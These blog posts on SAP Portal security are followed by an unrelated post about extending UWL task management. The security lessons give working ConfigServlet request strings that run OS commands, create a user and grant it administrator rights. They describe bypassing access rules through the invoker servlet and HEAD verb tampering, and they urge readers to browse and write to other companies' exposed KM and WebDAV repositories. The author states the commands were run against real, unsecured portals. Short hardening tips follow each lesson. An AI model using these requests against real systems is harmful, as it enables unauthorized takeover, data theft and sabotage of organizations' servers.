SAP Portal Security, lesson 2: Hacking Servlets

In my previous post we discussed portal architecture, features and mostly Knowledge Management (KM) vulnerabilities. In this post we will discuss main security mechanism embedded in the SAP Portal applications, and how we can override some of them.

*  I assume that you are familiar with basic HTTP mechanisms, POST / GET / HEAD methods, and you know that SAP Portal runs J2EE engine.

* All commands below were executed on actual SAP portal installations, which are exposed to WWW and have not been secured properly.

XML Descriptors and Invoker Servlet

Access to servlet applications deployed on SAP Portal engine are controlled by XML descriptor files. Many of those SAP standard applications have serious security breaches. Here is an example of such a descriptor file:

<?xml version="1.0" encoding="UTF-8 ?> <web-app> <display-name>HelloWorld Application</display-name> <description> This is a simple web application for Ivan's blog </description> <servlet> <servlet-name>HelloServlet</servlet-name> <servlet-class>examples.Hello</servlet-class> </servlet> <servlet-mapping> <servlet-name>HelloServlet</servlet-name> <url-pattern>/hello</url-pattern> </servlet-mapping> <security-constraint> <web-resource-collection> <web-resource-name>Restrictedaccess</web-resource-name> <url-pattern>/hello/*</url-pattern> <http-method>GET</http-method> </web-resource-collection> <auth-constraint> <role-name>Administrator</role-name> </auth-constraint> </security-constraint> </web-app>

As you can see, the servlet above is defined for access by /hello/... URL pattern, and GET requests will be accepted from user with Administrator role assigned. In order to override these settings hackers can use InvokerServlet, which  is enabled in SAP portals by default. This servlet allows accessing other servlet methods by using structured URLs, without passing the authorization check.

The servlet above could be accessed by http://{server:port}/servlet/examples.Hello by all users, as URL pattern is not matching the rule defined in XML descriptor. 

Let's take a deeper look.

Verb Tampering

The most critical of all servlets is called CTC, which allows execution of OS commands and creation of local users. Imagine that hackers could create an administrative user in your portal, with a simple command called from their browser. 

Here is an example of such a command, executed from your browser:
/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.FileSystemConfig;EXECUTE_CMD;CMDLINE=ipconfig

Now, as I told before, CTC servlet could be used to manage users. The command below will create a user in local UME:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;CREATEUSER;USERNAME={enter your user},PASSWORD={enter your password}

Hey, there is even a success message:

After creating the user, we need to add administrative permissions. Guess what, there is a command for that as well:

/ctc/servlet/ConfigServlet?param=com.sap.ctc.util.UserConfig;ADD_USER_TO_GROUP;USERNAME={enter your user},GROUPNAME=Administrators

There you go, now you have an administrator account in the system.

As you see from screenshots above, we used a simple GET method to execute those commands. For cases where GET / POST methods are secured, we can use HEAD methods, which don't match the XML descriptor file. 

Tips to keep it secure

1. Make sure your system is up to date. 

2. Block direct servlet execution (for example, by SAP WebDispatcher URL filtering)

3. Install notes 1467771, 1445998, 1503579,1616259 (if relevant)

Next post will cover user secure storage and encryption, cross-site scripting (XSS) and security zone attacks.

Stay tuned :-)

SAP Portal Security, lesson 1: Hacking KM

Dear readers!

In upcoming posts about SAP Portal Security I am planning to cover common mistakes done by IT departments during exposure of SAP Portals to the world wide web. We will start with the most basic ones, and dive in to the more complicated ones, but I will try to keep it as simple as it gets.

I suggest reviewing my previous post about exposing SAP NetWeaver to the world, if you are not yet exposing your SAP Portals to the internet.

Intro

SAP portal is used in many companies as a central access point to other SAP and non-SAP applications. There are plenty of reasons to do that, such Single Sign On (SSO), ease of access, user-friendly interface and many others. SAP portals, exposed to the internet, become an attractive target for hackers and enthusiasts like myself. Potential information stored in this SAP module can be used for business intelligence by competitors, which can steal information or affect the company's image by sabotaging the system.

Architecture

Let's take a look at SAP Portal architecture. It is important to know the elements of our system, how they interact, and how they can be hacked with a bit of knowledge. Here is a basic schema from SAP documentation:

The platform behind our SAP Portal is J2EE, which operates java applications, iViews, web services, servlets, and supports many standard protocols, such as WebDAV and others. From the scheme above you can see that SAP Portal is connected to back end modules, such as ERP, CRM, BW, LDAP and SQL server. The system can be installed on Microsoft / UNIX operating systems and have different SQL servers connected through JDBC, and it is important for our future sessions.

Finding exposed SAP portals

There is a mistaken opinion that SAP portals are rarely exposed to the World Wide Web, and they are heavily secured. You can search for the following expression to see how many there are:

Lesson 1: Knowledge Management 

I would like to start our vulnerabilities discovery with the most basic portal module - Knowledge Management (KM). This module is not actively changed by SAP for many years now, and it delivers many low-level protocols and features that are rarely secured. It can become a critical access point to the system, providing access to file repositories and system storage.

Here is a basic architecture overview of portal KM from SAP documentation:

As you can see from the overview, there is WebDAV through HTTP/S. Developers or hackers with a bit on scripting can perform Denial Of Service (DOS) attacks and overload the system storage, or steal information by accessing the module even with Guest authorization.

Let's give it a try. You will be surprised how many companies are not blocking access to their KM module, thus exposing their repositories to the internet without even knowing it. Try adding /irj/go/km/docs to the portal URL you have found before, and you will be able to navigate to the KM module. Here is a live example I found:

Some companies might be holding sensitive information on their KM repositories, without really managing authorizations and access points. This mistake is very common, and I believe it is the most amateur one.

But hey, we have another great feature that is not managed properly, it's called WebDAV protocol. It's widely-used protocol for reading / writing documents on web servers, and it appears to be wrongly treated in many organizations. 

For example, you can connect many web-facing KM repositories as network drives on your PCs, simple as that:

After doing that, injecting files to remote servers becomes a copy-paste task. What's even worse - in many cases you can delete content through WebDAV, which can sabotage the company.

Tips to keep it secure

1. Use SAP WebDispatcher (or other reverse proxy) to control accessible URLs by URL filtering

2. Do not connect your server file system as KM repository

3. Maintain KM permissions properly

4. Restrict WebDAV access to sensitive folders

Next time we will dive deeper, exploring servlets and security mechanisms in SAP portal, which allow creating users, assigning them to Administrators group, and performing OS-level commands.

Stay tuned! :-)

Portal task management unleashed

Intro

During my final project for B.Sc. I did in Holon Institute of Technology, I had to do a research. There were many topics to pick from, but somehow I ended up doing a research about short-term tasks management in  matrix-based organizations. 

The issue came up from my everyday work at customer sites: my ongoing work was managed with Excel. I will skip the part about Excel disadvantages, as you all know them better then I do. Anyhow, we had to study available task management tools, learn their functionality, and propose a best-fit solution for ongoing task management. 

We finished the study, proposed a solution, got a good grade, and none of proposed tools was implemented, mostly because it requires more than just a research: a budget, top management support, training and so on...

And then I thought, why not implementing standard portal UWL workflow, and complete it with a functional management report to achieve the desired result?

Keep it standard

UWL is a good tool for portal users to process tasks from SAP back end systems, as it is flexible enough, thanks to XML configuration. You can make tasks look different, process them in different way, add fields from back end and even develop providers from third party systems.

There is also a built-in workflow engine, which requires no configuration - you can start managing tasks based on portal workflow, and have several nice features there:

• Email notifications & reminders
• Due date management
• Group tasks creation
• Task forwarding and ad-hoc tasks creation
• Attachments
• Tasks approval upon completion
• Sequential tasks processing

The problem arises when you want to change the standard tasks creation screen, which looks like this:

There is no standard way to add a field here. And this is a huge problem for any customer, that wants to add subsidiary, company selection, or any other field. 

Of course we can take the source code, import it to NWDI, and start developing a new screen, but at this stage I decided to avoid such changes, for the sake of future SAP support and upgrades.

So, let's see what are we missing, and how we can extend this UWL to be a good task management solution...

Missing functionality

Additional fields
As mentioned before, there is no standard way to add fields to task creation screen, which makes UWL tasks information incomplete

Management report
Once managers are required to go over open tasks of their employees, they see only those tasks they are assigned to as trackers, or those they created themselves. You cannot expect employees to remember adding managers as trackers to all their tasks, which results in lack of control and transparency

Grouping of tasks
Issue is derived from missing option of adding fields: there is no way to assign task to some field and filter by this filed later on

Sending follow-ups
Standard workflow mechanism sends one follow-up email upon task overdue, but there is no way to initiate this process on demand

Due date monitoring
If users change due dates (and yes, task processors can do that) there is no central way to see all those tasks and check initial due date

Export to excel / PDF
Managers plan to take task list with them to some meeting, and there is no convenient way to export task list to excel and print it out

Statistics
There is no graphical tools to monitor tasks processing trends, such as tasks overdue time, task completion time and so on

A solution

In order to complete UWL task management with missing functionality, we can develop a report based on standard UWL tables. This approach keeps the tables structure and logic implemented in UWL, keeping our options of portal upgrade and maintenance open for the future:

• Additional fields: can be held in an SQL table, mapped to standard task by task ID
  
• Management report: can embed tailor-made logic with fields assignment, calculations and styling
  
• Grouping of tasks: can be made by creating UME groups in the portal itself, and then select tasks of employees assigned to UME groups
• Due date monitoring: we can load initial and current due dates and point out those that were changed
  
• Export to excel: we can do any export we like, making this truly important function available
  
• Statistics: we can use WebDynpro built-in graphic elements to provide analytic tools
  

Tables to use

There are several standard tables in the portal SQL database that should be used in order to build the functionality described above, and here they are:

• Our own table for additional attributes
• KMC_WF_WORKITEM - this table contains information about completion date (TIME_COMPLETED) and initial due date (DUE_DATE)
• KMC_WF_WFTASK_USR - this table contains task assignees
• KMC_WF_WFTASK - this is the table that contains tasks information
  
  Important note: don't use KMC_UWL_ITEMS2, this table holds cached tasks, and if you clear the cache all tasks will be missing from your report, until users access their UWL again.

Summary

The WebDynpro for Java application described above extends UWL to provide a good, user-friendly, full-cycle task management solution, with comprehensive functionality. Development of such a tool is a question of several days, and it's true value for any enterprise that have SAP portal.

You are welcome to download the solution for free.
Feel free to contact me directly.

Good luck!